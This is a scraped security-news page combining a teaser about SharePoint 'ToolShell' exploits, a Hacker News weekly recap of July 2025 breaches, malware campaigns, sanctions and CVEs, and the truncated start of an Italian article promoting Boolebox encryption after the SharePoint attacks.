Search/Analyzing Sharepoint Exploits (CVE-2025-53770, CVE-2025-53771), (Wed, Jul 23rd)
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Analyzing Sharepoint Exploits (CVE-2025-53770, CVE-2025-53771), (Wed, Jul 23rd)

On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether…

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⚡ Weekly Recap — SharePoint Breach, Spyware, IoT Hijacks, DPRK Fraud, Crypto Drains and More
Some risks don’t breach the perimeter—they arrive through signed software, clean resumes, or sanctioned vendors still hiding in plain sight. This week, the clearest threats weren’t the loudest—they were the most legitimate-looking. In an environment where identity, trust, and tooling are all interlinked, the strongest attack path is often the one that looks like it belongs. Security teams are now challenged to defend systems not just from intrusions—but from trust itself being turned into a weapon. ⚡ Threat of the Week Microsoft SharePoint Attacks Traced to China — The fallout from an attack spree targeting defects in on-premises Microsoft SharePoint servers continues to spread a week after the discovery of the zero-day exploits, with more than 400 organizations globally compromised. The attacks have been attributed to two known Chinese hacking groups tracked as Linen Typhoon (aka APT27), Violet Typhoon (aka APT31), and a suspected China-based threat actor codenamed Storm-2603 that has leveraged the access to deploy Warlock ransomware. The attacks leverage CVE-2025-49706, a spoofing flaw, and CVE-2025-49704, a remote code execution bug, collectively called ToolShell. Bloomberg reported that Microsoft is investigating whether a leak from Microsoft Active Protections Program (MAPP), which provides early access to vulnerability information to security software providers, may have led to the zero-day exploitation. China has denied allegations it was behind the campaign. Flare Customers Saw 321% ROI, Says Forrester Consulting Total Economic Impact™ (TEI) Study A new Forrester Consulting study commissioned by Flare shows how Flare’s threat exposure management platform delivered 321% ROI, cut manual work by 75%, and paid for itself in under 6 months for a composite organization representative of interviewed customers. Get the full business case. Read the Study ➝ 🔔 Top News U.S. Treasury Sanctions N. Korean Company for IT Worker Scheme — The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) sanctioned a North Korean front company and three associated individuals for their involvement in the fraudulent remote information technology (IT) worker scheme designed to generate illicit revenues for Pyongyang. In a related move, Christina Marie Chapman, a laptop farmer in Arizona responsible for facilitating the scheme, was sentenced to jail for eight-and-a-half years, after raising $17 million in illicit funds for the regime. In these schemes, IT workers from North Korea use well-crafted, carefully curated portfolios, complete with full social media profiles, AI-enhanced photos and deepfakes, and stolen identities to pass background checks and land jobs at various U.S. companies. Once hired, they take the help of facilitators to receive company-issued laptops and other equipment, which they can then connect to remotely, thereby giving the impression that they are within the country where the company is located. The ongoing efforts operate with the twin goals of generating revenue for the Hermit Kingdom's nuclear program and other efforts via regular salaries, as well as gaining a foothold inside corporate networks for the purpose of planting malware for stealing secrets and extorting their employers. "DPRK's cyber operations challenge the traditional nation-state playbook – merging cryptocurrency theft, espionage, and nuclear ambition within a self-funded system driven by profit, loyalty, and survival," said Sue Gordon, a member of DTEX's Advisory Board and former principal deputy director of U.S. National Intelligence. "Recognizing it as a family-run mafia syndicate unblurs the lines between cybercrime and statecraft. This report pulls back the curtain on their inner workings and psychology, revealing how deeply embedded they already are within our workforce – providing the context needed to anticipate their next move." Soco404 and Koske Target Misconfigured Cloud Instances to Drop Miners — Two different malware campaigns have targeted vulnerabilities and misconfigurations across cloud environments to deliver cryptocurrency miners. These activity clusters have been codenamed Soco404 and Koske. While Soco404 targets both Linux and Windows systems to deploy platform-specific malware, Koske is a Linux-focused threat. There is also evidence to suggest that Koske has been developed using a large language model (LLM), given the presence of well-structured comments, best-practice logic flow with defensive scripting habits, and synthetic panda-related imagery to host the miner payload. XSS Forum Taken Down and Suspected Admin Arrested — Law enforcement notched a significant victory against the cybercrime economy with the disruption of the notorious forum XSS and the arrest of its suspected administrator. That said, it's important to note that takedowns of similar forums have proved short-lived, and threat actors often move to new platforms or other alternatives, such as Telegram channels. The development comes as LeakZone, a self-styled "leaking and cracking forum" where users advertise and share breached databases, stolen credentials, and pirated software, was caught leaking the IP addresses of its logged-in users to the open web. Coyote Trojan Exploits Windows UI Automation — The Windows banking trojan known as Coyote has become the first known malware strain to exploit the Windows accessibility framework called UI Automation (UIA) to harvest sensitive information. Coyote, which is known to target Brazilian users, comes with capabilities to log keystrokes, capture screenshots, and serve overlays on top of login pages associated with financial enterprises. Akamai's analysis found that the malware invokes the GetForegroundWindow() Windows API in order to extract the active window's title and compare it against a hard-coded list of web addresses belonging to targeted banks and cryptocurrency exchanges. "If no match is found Coyote will then use UIA to parse through the UI child elements of the window in an attempt to identify browser tabs or address bars," Akamai said. "The content of these UI elements will then be cross-referenced with the same list of addresses from the first comparison." Cisco Confirms Active Exploits Targeting ISE — Cisco has warned that a set of security flaws in Identity Services Engine (ISE) and ISE Passive Identity Connector (ISE-PIC) have come under active exploitation in the wild. The flaws, CVE-2025-20281, CVE-2025-20337, and CVE-2025-20282, allow an attacker to execute arbitrary code on the underlying operating system as root or upload arbitrary files to an affected device and then execute those files on the underlying operating system as root. The network equipment vendor did not disclose which vulnerabilities have been weaponized in real-world attacks, the identity of the threat actors exploiting them, or the scale of the activity. ️🔥 Trending CVEs Hackers are quick to jump on newly discovered software flaws – sometimes within hours. Whether it’s a missed update or a hidden bug, even one unpatched CVE can open the door to serious damage. Below are this week’s high-risk vulnerabilities making waves. Review the list, patch fast, and stay a step ahead. This week's list includes — CVE-2025-54068 (Laravel Livewire Framework), CVE-2025-34300 (Lighthouse Studio), CVE-2025-6704, CVE-2025-7624 (Sophos Firewall), CVE-2025-40599 (SonicWall SMA 100 Series), CVE-2025-49656, CVE-2025-50151 (Apache Jena), CVE-2025-22230, CVE-2025-22247 (Broadcom VMware Tools), CVE-2025-7783 (form-data), CVE-2025-34140, CVE-2025-34141, CVE-2025-34142, CVE-2025-34143 (Hexagon ETQ Reliance), CVE-2025-8069 (AWS Client VPN for Windows), CVE-2025-7723, CVE-2025-7724 (TP-Link VIGI NVR), CVE-2025-7742 (LG Innotek LNV5110R), CVE-2025-24000 (Post SMTP), CVE-2025-52449, CVE-2025-52452, CVE-2025-52453, CVE-2025-52454, CVE-2025-52455 (Salesforce Tableau Server), and CVE-2025-6241 (SysTrack). 📰 Around the Cyber World Google Removes 1000s of YouTube Channels Tied to Influence Ops — Google removed nearly 11,000 YouTube channels and other accounts tied to state-linked propaganda campaigns from China, Russia and more in the second quarter of 2025. It removed over 2,000 removed channels linked to Russia, including 20 YouTube channels, 4 Ads accounts, and 1 Blogger blog associated with RT, a Russian state-controlled media outlet. The takedown also included more than 7,700 YouTube channels linked to China, which shared content in Chinese and English that promoted the People’s Republic of China, supported President Xi Jinping and commented on U.S. foreign affairs. Surveillance Company Bypasses SS7 Safeguards — An unnamed surveillance company has been using a new attack technique to bypass the Signaling System 7 (SS7) protocol's protections and trick telecommunications companies into disclosing the location of their users. The attack method, likely used since the fourth quarter of 2024, hinges on Transaction Capabilities Application Part (TCAP) manipulation through SS7 commands that have been encoded in such a manner that their contents are not parsed by the protection systems or firewalls at the target network. "We don't have any information on how successful this attack method has been worldwide, as its success is vendor/software specific, rather than being a general protocol vulnerability, but its use as part of a suite indicates that it has had some value," Enea researchers Cathal Mc Daid and Martin Gallagher said. Number of Phishing Sites Aimed at Telegram Spikes — A new report has found that the number of phishing sites aimed at Telegram users increased to 12,500 in the second quarter of 2025. In one variant of the scheme, fraudsters create a phishing page that simulates the login page associated with Telegram or Fragment, a platform on the TON blockchain that allows users to buy and sell unique Telegram usernames and virtual phone numbers. Should victims enter their credentials and the confirmation codes, the accounts are hijacked by the attackers. The second scenario entails the attacker approaching a victim to purchase a rare digital gift from them in Telegram for a large amount. "As payment, the fraudster sends fake tokens," BI.ZONE said. "At first glance, they are indistinguishable from the real ones, but they have no real value. After the transfer, the victim is left without a gift and with a fake digital currency." In a related report, Palo Alto Networks Unit 42 said it identified 54,446 domains hosting phishing sites in a campaign impersonating Telegram dubbed telegram_acc_hijack. "These pages collect Telegram login credentials submitted and real-time one-time passcodes (OTPs) to hijack user accounts," the company added. Former NCA Employee Sentenced to 5.5 Years in Prison — A former officer with the U.K. National Crime Agency (NCA) was sentenced to five-and-a-half years in prison after stealing a chunk of the Bitcoin seized by the agency as part of a law enforcement operation targeting the now-defunct illicit dark web marketplace Silk Road. Paul Chowles, 42, was identified as the culprit after authorities recovered his iPhone, which linked him to an account used to transfer Bitcoin as well as relevant browser search history relating to a cryptocurrency exchange service. "Within the NCA, Paul Chowles was regarded as someone who was competent, technically minded and very aware of the dark web and cryptocurrencies," Alex Johnson, Specialist Prosecutor with the Crown Prosecution Service's Special Crime Division, said. "He took advantage of his position working on this investigation by lining his own pockets while devising a plan that he believed would ensure that suspicion would never fall upon him. Once he had stolen the cryptocurrency, Paul Chowles sought to muddy the waters and cover his tracks by transferring the Bitcoin into mixing services to help hide the trail of money." U.K. Sanctions 3 Russian GRU Units for Sustained Cyber Attacks — The U.K. sanctioned three units of the Russian military intelligence agency (GRU) and 18 military intelligence officers for "conducting a sustained campaign of malicious cyber activity over many years" with an aim to "sow chaos, division and disorder in Ukraine and across the world." The sanctions cover Unit 26165 (linked to APT28), Unit 29155 (linked to Cadet Blizzard), and Unit 74455 (linked to Sandworm), as well as African Initiative, a "social media content mill established and funded by Russia and employing Russian intelligence officers to conduct information operations in West Africa." U.K. Floats Ransomware Payments Ban for Public Bodies — The U.K. government has proposed new legislation that would ban public sector organizations and critical national infrastructure from paying criminal operators behind ransomware attacks, as well as enforce mandatory reporting requirements for all victims to inform law enforcement of attacks. "Public sector bodies and operators of critical national infrastructure, including the NHS, local councils and schools, would be banned from paying ransom demands to criminals under the measure," the government said. "The ban would target the business model that fuels cyber criminals' activities and makes the vital services the public rely on a less attractive target for ransomware groups." Businesses that do not fall under the ambit of the law would be required to notify the government of any intent to pay a ransom. A failure to download patches to address widely exploited vulnerabilities could lead to daily fines of £100,000 or 10 percent of turnover should a digital break-in occur. Thought Lumma Was Out of Commission? Think Again! — The Lumma Stealer operations have recovered following a law enforcement takedown of its infrastructure earlier this year, with the malware being distributed through more discreet channels and stealthier evasion tactics. "Lumma's infrastructure began ramping up again within weeks of the takedown," Trend Micro said. "This rapid recovery highlights the group's resilience and adaptability in the face of disruption." A notable shift is the reduction in volume of domains using Cloudflare's services to obfuscate their malicious domains and make detection more challenging, instead shifting to Russian alternatives like Selectel. "This strategic pivot suggests a move towards providers that might be perceived as less responsive to law enforcement requests, further complicating efforts to track and disrupt their activities," the company added. Lumma Stealer is known for its diverse and evolving delivery methods, leveraging social media posts, GitHub, ClickFix, and fake sites distributing cracks and key generators, as initial access methods. The resurgence of Lumma is par for the course with modern cybercriminal operations that often can quickly resume activity even after significant law enforcement disruptions. In a statement shared with The Hacker News, ESET confirmed the resurgence of Lumma Stealer and that the current activity has approached levels similar to those before the law enforcement action. "Lumma Stealer operators continue to register dozens of new domains weekly – activity that didn’t stop even after the disruption – but switched to primarily resolving them at nameservers located in Russia," Jakub Tománek, ESET malware analyst, said. "The codebase itself has shown minimal changes since the takedown attempt. This indicates the group’s primary focus has been on restoring operations rather than innovating their 'product' and introducing new features." U.S. Government Warns of Interlock Ransomware — The U.S. government has warned of Interlock ransomware attacks targeting businesses, critical infrastructure, and other organizations in North America and Europe since late September 2024. The attacks, designed to target both Windows and Linux systems, employ drive-by downloads from compromised legitimate websites or ClickFix- and FileFix-style lures to drop payloads for initial access. "Actors then use various methods for discovery, credential access, and lateral movement to spread to other systems on the network," the U.S. government said. "Interlock actors employ a double extortion model in which actors encrypt systems after exfiltrating data, which increases pressure on victims to pay the ransom to both get their data decrypted and prevent it from being leaked." Also part of the threat actor's tooling are Cobalt Strike and a custom remote access trojan called NodeSnake RAT, and information stealers like Lumma Stealer and Berserk Stealer to harvest credentials for lateral movement and privilege escalation. Apple Notifies Iranians of Spyware Attacks — Apple notified more than a dozen Iranians in recent months that their iPhones had been targeted with government spyware, according to a digital rights and security organization called Miaan Group. This included individuals who have a long history of political activism. Also notified by Apple were dissidents and a technology worker. It's unclear which spyware maker is behind these attacks. The attacks mark the first known example of advanced mercenary tools being used both inside Iran and against Iranians living abroad. Linux Servers Targeted by SVF Bot — Poorly managed Linux servers are being targeted by a campaign that delivers a Python-based malware called SVF Bot that enlists infected machines in a botnet that can conduct distributed denial-of-service (DDoS) attacks. "When the SVF Bot is executed, it can authenticate with the Discord server using the following Bot Token and then operate according to the threat actor's commands," ASEC said. "Most of the supported commands are for DDoS attacks, with L7 HTTP Flood and L4 UDP Flood being the main types supported." Turkish Companies Targeted by Snake Keylogger — Turkish organizations are the target of a new phishing campaign that delivers an information stealer called Snake Keylogger. The activity, primarily singling out defense and aerospace sectors, involves distributing bogus email messages that impersonate Turkish Aerospace Industries (TUSAŞ) in an attempt to trick victims into opening malicious files under the guise of contractual documents. "Once executed, the malware employs advanced persistence mechanisms – including PowerShell commands to evade Windows Defender and scheduled tasks for auto-execution – to harvest sensitive data, such as credentials, cookies, and financial information, from a wide range of browsers and email clients," Malwation said. Former Engineer Pleads Guilty to Trade Theft — A Santa Clara County man and former engineer at a Southern California company pleaded guilty to stealing trade secret technologies developed for use by the U.S. government to detect nuclear missile launches, track ballistic and hypersonic missiles, and to allow U.S. fighter planes to detect and evade heat-seeking missiles. Chenguang Gong, 59, of San Jose, pleaded guilty to one count of theft of trade secrets. He remains free on a $1.75 million bond. Gong – a dual citizen of the United States and China – transferred more than 3,600 files from a Los Angeles-area research and development company where he worked to personal storage devices during his brief tenure with the company last year. The victim company hired Gong in January 2023 as an application-specific integrated circuit design manager. He was terminated three months later. Gong, who was arrested and charged in February, is scheduled for sentencing on September 29, 2025. He faces up to 10 years in prison. FBI Issues Warning About The Com — The Federal Bureau of Investigation (FBI) is warning the public about an online group called In Real Life (IRL) Com that provides violence-as-a-service (VaaS), including shootings, kidnappings, armed robbery, stabbings, physical assault, and bricking. "Services are posted online with a price breakdown for each act of violence," the FBI said. "Groups offering VaaS advertise contracts on social media platforms to solicit individuals willing to conduct the act of violence for monetary compensation." The threat group is also said to advertise swat-for-hire services via communication applications and social media platforms. IRL Com is assessed to be one of three subsets of The Com (short for The Community), a growing online collective comprising primarily of thousands of English-speaking individuals, many of whom are minors, and engage in a wide range of criminal endeavors. The other two offshoots are Hacker Com, which is linked to DDoS and ransomware-as-a-service (RaaS) groups, and Extortion Com, which primarily involves the exploitation of children. Notably, the Com encompasses threat clusters tracked as LAPSUS$ and Scattered Spider. A similar warning was issued by the U.K. National Crime Agency (NCA) earlier this March, calling attention to The Com's trend of recruiting teenage boys to commit a range of criminal acts, from cyber fraud and ransomware to child sexual abuse. Organized Crime Group Behind Large-Scale Fraud Disrupted — A highly organised criminal group involved in large-scale fraud in Western Europe was dismantled in a coordinated operation led by authorities from Romania and the United Kingdom. "The gang had travelled from Romania to several Western European countries, mainly the UK, and withdrew large sums of money from ATM machines," Europol said. "They later laundered the proceeds by investing in real estate, companies, vacations, and luxury products, including cars and jewelry." The operation has led to two arrests, 18 house searches, and the seizure of real estate, luxury cars, electronic devices, and cash. The attackers committed what has been described as Transaction Reversal Fraud (TRF), in which the screen of an ATM is removed and a bank card is inserted to request funds. The transactions were canceled (or reversed) before the funds were dispensed, allowing them to reach inside the ATM and take the cash before it was retracted. The gang is estimated to have plundered about €580,000 (about $681,000) using this method. "The perpetrators were also involved in other criminal activities, including skimming, forging electronic means of payment and transport cards, and conducting bin attacks — a type of card fraud carried out using software designed to identify card numbers and generate illicit income through fraudulent payments," Europol added. The development came as a 21-year-old U.K. student, Ollie Holman, who designed and distributed 1,052 phishing kits linked to £100 million (approximately $134 million) worth of fraud, was jailed for seven years. It is estimated that Holman received £300,000 from selling the kits between 2021 and 2023. The phishing kits were sold via Telegram. Holman previously pleaded guilty to seven counts, including encouraging or assisting the commission of an offence, making or supplying articles for use in fraud, and transferring, acquiring, and possessing criminal property, per the Crown Prosecution Service. Endgame Gear Acknowledges Supply Chain Attack — Gaming peripheral manufacturer Endgame Gear confirmed that unidentified threat actors compromised its official software distribution system to spread dangerous Xred malware to unsuspecting customers for nearly two weeks via the OP1w 4k v2 product page. The security breach occurred between June 26 and July 9, 2025. The company stated that "access to our file servers was not compromised, and no customer data was accessible or affected on our servers at any time," and that "This issue was isolated to the OP1w 4k v2 product page download only." New Campaign Targeted Crypto Users Since March 2024 — A new sophisticated and evasive malware campaign has managed to stay unnoticed and target cryptocurrency users globally since March 2024. Dubbed WEEVILPROXY, the activity leverages Facebook advertisement campaigns masquerading as well-known cryptocurrency-related software and platforms, such as Binance, Bybit, Kraken, Revolut, TradingView, and others, to trick users into downloading fake installers that ultimately drop information stealers and cryptocurrency drainers. "We have also observed the threat actor propagate ads through Google Display Network since April-May 2025, which are displayed throughout the internet in the form of images/videos," WithSecure said. "These ads appear geographically bound as well, for instance, we have observed such ads specifically targeting the Philippines, Malaysia, Thailand, Vietnam, Bangladesh, and Pakistan." VMDetector Loader Delivers Formbook Malware — A new variant of the VMDetector Loader malware has been found embedded within the "pixel data" of a seemingly benign JPG image that's delivered via phishing emails to ultimately deploy an information stealer called Formbook. The JPG image is retrieved from archive.org by means of Visual Basic Scripts present within zipped archives that are sent as attachments to the email messages. Threat Actors Use mount Binary in Hikvision Attacks — Attacks in the wild exploiting CVE-2021-36260, a command injection bug affecting Hikvision cameras, have been uncovered, leveraging the flaw to mount a remote NFS share and execute a file off of it. "The attacker tells mount to make the remote NFS share, /srv/nfs/shared, on 87.121.84[.]34 available locally as the directory ./b," VulnCheck said. How Windows Drivers Can Be Weaponized? — In a new detailed analysis, Security Joes has highlighted the threat posed by kernel-mode attacks and how attacks abusing vulnerable drivers, called the Bring Your Own Vulnerable Driver (BYOVD) technique, can be used by attackers to exploit signed-but-flawed drivers to bypass kernel protections. "Because drivers run in kernel mode, they possess high privileges and unrestricted access to system resources," the company said. "This makes them a high-value target for attackers aiming to escalate privileges, disable security mechanisms such as EDR callbacks, and achieve full control over the system." Organizations' Attack Surface Increases — Organizations have created more entry points for attackers. That's according to a report from ReliaQuest, which found a 27% increase in exposed ports between the second half of 2024 and the first half of 2025, a 35% increase in exposed operational technology (OT), and a surge in vulnerabilities in public-facing systems, such as PHP and WordPress. "Vulnerabilities in public-facing assets more than doubled, rising from 3 per organization in the second half of 2024 to 7 in the first half of 2025," the company said. "From late 2024 to early 2025, the number of exposed access keys for organizations in our customer base doubled, creating twice the opportunity for attackers to slip in unnoticed." Iranian Bank Pasargad Targeted During June Conflict — The Iranian bank known as Pasargad was targeted as part of a cyber attack during the Iran-Israel war in June 2025, impacting access to crucial services. A suspected Israeli operation called Predatory Sparrow claimed responsibility for the attack on another Iranian bank Sepah and the country's largest cryptocurrency exchange, Nobitex. CrowdStrike Outage Impacted Over 750 U.S. Hospitals — A new study undertaken by a group of academics from the University of California, San Diego, found that 759 U.S. hospitals experienced IT outages last July due to a faulty CrowdStrike update. "A total of 1098 distinct network services with outages were identified, of which 631 (57.5%) were unable to be classified, 239 (21.8%) were direct patient-facing services, 169 (15.4%) were operationally relevant services, and 58 (5.3%) were research-related services," the study said. North Korean Actors Employ NVIDIA Lures — The North Korean threat actors behind the Contagious Interview (aka DeceptiveDevelopment) campaign are leveraging ClickFix-style lures to trick unsuspecting job seekers into downloading a supposed NVIDIA-related update to address camera or microphone issues when attempting to provide a video assessment. The attack leads to the execution of a Visual Basic Script that launches a Python payload called PylangGhost that steals credentials and enables remote access via MeshAgent. ACRStealer Variant Distributed in New Attacks — Threat actors are propagating a new variant of ACRStealer that incorporates new features aimed at detection evasion and analysis obstruction. "The modified ACRStealer uses the Heaven's Gate to disrupt detection and analysis," AhnLab said. "Heaven's Gate is a technique used to execute x64 code in WoW64 processes and is widely used for analysis evasion and detection avoidance." The new version has been rebranded as Amatera Stealer, per Proofpoint. It's offered for sale for $199 per month to $1,499 per year. Aeza Group Shifts Infrastructure After U.S. Sanctions — Earlier this month, the U.S. Treasury Department imposed sanctions against Russia-based bulletproof hosting (BPH) service provider Aeza Group for assisting threat actors in their malicious activities, such as ransomware, data theft, and darknet drug trafficking. Silent Push, in a new analysis, said IP ranges from Aeza's AS210644 began migrating to AS211522, a new autonomous system operated by Hypercore Ltd., starting July 20, 2025, in an attempt to evade sanctions enforcement and operate under new infrastructure. Request for Quote Scams Demonstrate Sophistication — Cybersecurity researchers are calling attention to a widespread Request for Quote (RFQ) scam that employs common Net financing options (Net 15, 30, 45) to steal a variety of high-value electronics and goods. "In RFQ campaigns, the actor reaches out to a business to ask for quotes for various products or services," Proofpoint said. "The quotes they receive can be used to make very convincing lures to send malware, phishing links, and even additional business email compromise (BEC) and social engineering fraud." Besides using vendor-supplied financing and stolen identities of real employees to steal physical goods, these scams utilize email and legitimate online quote request forms to reach potential victims. Fake Games Distribute Stealer Malware — A new malware campaign is distributing fake installers for indie game titles such as Baruda Quest, Warstorm Fire, and Dire Talon, promoting them via fraudulent websites, YouTube channels, and Discord, to trick unwitting users into infecting their machines with stealers like Leet Stealer, RMC Stealer (a modified version of Leet Stealer), and Sniffer Stealer. The origins of Leet and RMC malware families can be traced back to Fewer Stealer, suggesting a shared lineage. It's believed that the campaign originally targeted Brazil, before expanding worldwide. U.S. FCC Wants to Ban Companies from Using Chinese Equipment When Laying Submarine Cables — The U.S. Federal Communications Commission said it plans to issue new rules that would ban Chinese technology from U.S. submarine cables in order to protect underwater telecommunications infrastructure from foreign adversary threats. "We have seen submarine cable infrastructure threatened in recent years by foreign adversaries, like China," FCC Chairman Brendan Carr said. "We are therefore taking action here to guard our submarine cables against foreign adversary ownership, and access as well as cyber and physical threats." In a recent report, Recorded Future said the risk environment for submarine cables has "escalated" and that the "threat of state-sponsored malicious activity targeting submarine cable infrastructure is likely to rise further amid heightened geopolitical tensions." The cybersecurity company also cited a lack of redundancy, a lack of diversity of cable routes, and limited repair capacity as some of the key factors that raise the risk of severe impact caused by damage to submarine cables. China Warns Citizens of Backdoored Devices and Supply Chain Threats — China's Ministry of State Security (MSS) has issued an advisory, warning of backdoors in devices and supply chain attacks on software. The security agency said such threats not only risk personal privacy and theft of corporate secrets, but also affect national security. "Potential technical backdoor security risks can also be reduced by strengthening technical protection measures, such as formulating patch strategies, regularly updating operating systems, regularly checking device logs, and monitoring abnormal traffic," MSS said, urging organizations to avoid foreign software and instead adopt domestic operating systems. In a separate bulletin, the MSS also alleged that overseas spy intelligence agencies may set up backdoors in its ocean observation sensors to steal data. NyashTeam Hacking Group Infrastructure Disrupted — Russia-based cybersecurity company F6 said it dismantled a network of domains operated by a relatively unknown hacking crew known as NyashTeam, which sells two different remote access trojans known as DCRat (DarkCrystal RAT) and WebRAT through Telegram bots and websites under the malware-as-a-service (MaaS) model. The malware is distributed using YouTube and GitHub by passing them off as game cheats or pirated software. The group is also believed to provide hosting services for cybercriminal infrastructure and support customers through plugins, guides, and data processing tools, appealing to both novice hackers and experienced cybercriminals alike. RenderShock Attack Technique Detailed — Cybersecurity researchers have detailed a zero-click attack strategy called RenderShock that leverages trusted operating system behaviors to conduct reconnaissance and deliver payloads without requiring any user interaction. "By embedding malicious logic in metadata, preview triggers, and document formats, RenderShock capitalizes on system convenience as an unguarded attack vector," CYFIRMA said. "Modern enterprise systems are built for convenience, automatically previewing, indexing, synchronizing, and rendering files across endpoints, cloud platforms, and productivity suites. These systems often process files without explicit user action, trusting that the rendering process is safe. RenderShock exploits these passive execution surfaces: trusted components that parse untrusted files silently in the background." 🎥 Cybersecurity Webinars AI Is Breaking Trust—Here’s How to Save It Before It’s Too Late — Discover how customers are reacting to AI-driven digital experiences in 2025. The Auth0 CIAM Trends Report reveals rising identity threats, new trust expectations, and the hidden costs of broken logins. Join this webinar to learn how AI can be your biggest asset—or your biggest risk. Python Devs: Your Pip Install Could Be a Malware Bomb — In 2025, Python’s supply chain is under siege — from typosquats to hijacked AI libraries. One wrong pip install could inject malware straight into production. This session shows how to secure your builds with tools like Sigstore, SLSA, and hardened containers. Stop hoping your packages are clean — start verifying. 🔧 Cybersecurity Tools Vendetect - It is an open-source tool designed to detect copied or vendored code across repositories — even when the code has been modified. Built for real-world security and compliance needs, it uses semantic fingerprinting and version control analysis to identify where code was copied from, including the exact source commit. Unlike academic plagiarism tools, Vendetect is optimized for software engineering environments: it catches renamed functions, stripped comments, and altered formatting, and helps trace untracked dependencies, license violations, and inherited vulnerabilities often found during security assessments. Telegram Channel Scraper - It is a Python-based tool designed for advanced monitoring and data collection from public Telegram channels. It uses the Telethon library to scrape messages and media, storing everything in optimized SQLite databases. Built for efficiency and scale, it supports real-time scraping, parallel media downloads, and batch data exports. This makes it useful for researchers, analysts, and security teams who need structured access to Telegram content for investigation or archiving — without depending on manual scraping or third-party platforms. Disclaimer: These newly released tools are for educational use only and haven’t been fully audited. Use at your own risk—review the code, test safely, and apply proper safeguards. 🔒 Tip of the Week Don’t Trust Your Browser Blindly — Most people think of their browser as just a tool to get online — but in reality, it’s one of the most exposed parts of your device. Behind the scenes, your browser quietly stores names, emails, companies, and sometimes even payment info. This data often lives in plain, unencrypted files that are easy to extract if someone gains local access — even briefly. For example, in Chrome or Edge, personal autofill details are stored in a file called Web Data, which is a basic SQLite database anyone with access can read. This means that if your machine is compromised — even by a simple script — your personal or even work identity can be quietly stolen. Red teamers and attackers love this kind of recon gold. It doesn’t stop there. Browsers also keep session cookies, local storage, and site databases that often don’t get wiped, even after logout. This data can allow attackers to hijack your logged-in sessions or extract sensitive info stored by web apps — including company tools. Even browser extensions, if malicious or hijacked, can quietly spy on your activity or inject bad code into pages you trust. Another weak spot? Browser extensions. Even legitimate-looking add-ons can have wide permissions — letting them read what you type, track your browsing, or inject scripts. If a trusted extension gets compromised in an update, it can silently become a data theft tool. This happens more often than people think. Here’s how to reduce the risk: Clear autofill, cookies, and site data regularly Disable autofill entirely on workstations Limit extensions — audit them using tools like CRXcavator or Extension Police Use DB Browser for SQLite to inspect stored files (Web Data, Cookies) Use tools like BleachBit to securely wipe traces Browsers are essentially lightweight application platforms. If you’re not auditing how they store data and who can access it, you’re leaving a major gap open — especially on shared or endpoint-exposed machines. Conclusion This week’s signals are less a conclusion and more a provocation: What else might we be misclassifying? What familiar data could become meaningful under a different lens? If the adversary thinks in systems, not symptoms, our defenses must evolve accordingly. Sometimes, the best response isn’t a patch—it’s a perspective shift. There’s value in looking twice where others have stopped looking altogether.
thehackernews.comJul 28, 2025extracted
Gli attacchi a SharePoint confermano la necessità di protezioni crittografiche forti
La clamorosa ondata di attacchi che ha preso di mira l’ambiente Microsoft SharePoint ha scosso alle fondamenta il mondo della cyber security. La comparsa di una vulnerabilità zero-day come ToolShell, però, non può essere considerata semplicemente come un “cigno nero”. L’emersione di bug e nuove tecniche di attacco in grado di violare i sistemi critici dell’azienda deve sempre essere considerata come una possibilità. “Per garantire l’inviolabilità dei dati non basta utilizzare strumenti orientati alla prevenzione e al contrasto degli attacchi informatici” spiega Marco Iannuci, CEO di Boolebox. “L’unica strategia che offre la certezza di rendere inaccessibili i dati ai cyber criminali è quella che prevede un’efficace protezione crittografica dei dati”. Indice degli argomenti Il ragionamento del CEO di Boolebox, azienda milanese specializzata nello sviluppo e gestione di soluzioni di crittografia, si colloca in un contesto in cui gli esperti di sicurezza si trovano a fronteggiare un volume di attacchi inedito, sia sotto il profilo quantitativo, sia sotto quello qualitativo. In questo scenario è inevitabile partire dall’assunto che qualcuno, prima o poi, riuscirà a fare breccia nei sistemi. “La protezione tramite crittografia è la migliore garanzia di impedire l’accesso ai dati nel caso di un incidente di sicurezza” sottolinea Iannucci. “Anche se i cyber criminali dovessero ottenere l’accesso ai documenti, infatti, si troverebbero tra le mani informazioni che non sarebbero in grado di decodificare”. Se la protezione crittografica dei dati è considerata ormai una misura standard nella maggior parte degli ambienti software, il manager di Boolebox sottolinea come l’adozione di strumenti specifici permetta di alzare l’asticella e complicare notevolmente la vita ai cyber criminali. “L’implementazione di una soluzione come Boolebox attraverso plugin specifici, permette di applicare un livello di protezione elevato in qualsiasi ambiente, come Windows, Outlook, Gmail, OneDrive e SharePoint, senza stravolgere l’esperienza utente” spiega Iannucci. Sotto un profilo squisitamente tecnologico, l’adozione di sistemi di crittografia dei documenti deve per prima cosa attenersi a quello che è lo stato dell’arte del settore. “In Boolebox utilizziamo un livello di crittografia ‘militare’, basato sull’affidabile algoritmo AES-256, tra i più solidi e diffusi” spiega Iannucci. “L’aspetto tecnico, per quanto importante, non è però l’unico che incide sui sistemi di protezione basati su crittografia”. I fattori che incidono sull’equazione della sicurezza crittografica, in realtà, sono molti. Primo tra tutti quello della gestione delle chiavi. La strategia caldeggiata da Iannucci prevede che la loro gestione sia sempre affidata direttamente all’organizzazione, sui propri server nella modalità on premises, sui server del fornitore di servizio in caso di adozione di una soluzione cloud. Le chiavi, infine, devono essere conservate all’interno di “cassetti” a loro volta protetti da crittografia. “Uno degli aspetti fondamentali è quello di compartimentare la gestione dei documenti protetti, offrendo per esempio la possibilità che ogni singolo utente possa creare chiavi crittografiche personali, addirittura prevedendone di diverse per ogni singolo documento protetto” prosegue Iannucci. Può sembrare una complicazione dal punto di vista logistico, ma il livello di sicurezza garantito dall’adozione di chiavi personali è incomparabile rispetto all’uso di un sistema di protezione “generalista”. Differenziando il più possibile le chiavi crittografiche utilizzate per proteggere i documenti, se gli eventuali attaccanti volessero provare a violarne la protezione si troverebbero infatti di fronte a un compito immane. Un aspetto ulteriore legato alla compartimentazione è quello di evitare che nell’ecosistema ci siano punti deboli, impedendo per esempio che gli amministratori IT abbiano ‘mani libere’ su qualsiasi tipo di 